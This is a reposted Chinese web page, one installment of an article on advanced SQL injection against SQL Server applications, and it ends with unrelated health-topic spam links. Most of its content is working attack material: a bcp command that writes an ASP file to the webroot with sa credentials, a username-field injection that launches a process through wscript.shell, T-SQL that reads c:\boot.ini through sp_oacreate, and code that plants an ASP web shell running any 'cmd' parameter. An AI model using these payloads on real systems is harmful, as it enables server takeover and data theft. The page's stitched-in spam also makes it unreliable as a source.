NBA

SQL Server应用程序高级SQL注入(下)(3)

2019-09-11 10:35:04来源:励志吧0次阅读

[使用bcp建立文本文件] 使用''bulk insert''的相对技术可以很容易建立任意的文本文件。不幸的是这需要命令行工具。''bcp'',即''bulk copy program'' 既然 bcp可以从SQL服务进程外访问数据库,它需要登陆。这代表获得权限不是很困难,既然攻击者能建立,或者利用整体安全机制(如果服务器配置成可以使用它)。 命令行格式如下: bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar

''S''参数为执行查询的服务器,''U''参数为用户名,''P''参数为密码,这里为''foobar'' [ActiveX automation scripts in SQL SERVER] SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。这些脚本和运行windows脚本解释器下的脚本,或者ASP脚本程序一样——他们使用VBScript或JavaScript书写,他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情。为了阐明这鞋,这里提供了几个例子: (1)这个例子使用''wscript.shell''对象建立了一个记事本的实例: 以下为引用的内容: wscript.shell example declare @o int exec sp_oacreate ''wscript.shell'',@o out exec sp_oamethod @o,''run'',NULL,''notepad.exe''

我们可以通过指定在用户名后面来执行它: Username:''; declare @o int exec sp_oacreate ''wscript.shell'',@o out exec sp_oamethod @o,''run'',NULL,''notepad.exe''—

(2)这个例子使用''scripting.filesystemobject''对象读一个已知的文本文件: 以下为引用的内容: --scripting.filesystemobject example – read a known file declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate ''scripting.filesystemobject'', @o out exec sp_oamethod @o, ''opentextfile'', @f out, ''c:\boot.ini'', 1 exec @ret=sp_oamethod @f,''readline'',@line out while(@ret=0) begin print @line exec @ret=sp_oamethod @f,''readline'',@line out end

(3)这个例子创建了一个能执行通过提交到的任何命令: -- scripting.filesystemobject example – create a ''run this''.asp file declare @o int,@f int,@t int,@ret int exec sp_oacreate ''scripting.filesystemobject'',@o out exec sp_oamethod @o,''createtextfile'',@f out,''c:\inetpub\wwwroot\foo.asp'',1 exec @ret=sp_oamethod @f,''writeline'',NULL,''<% set o=server.createobject("wscript.shell"):o.run(request.querystring("cmd")) %>''

剖宫产术后上腹胀嗳气
小孩有眼屎是怎么回事
儿童小便黄
汉森四磨汤适用人群
分享到: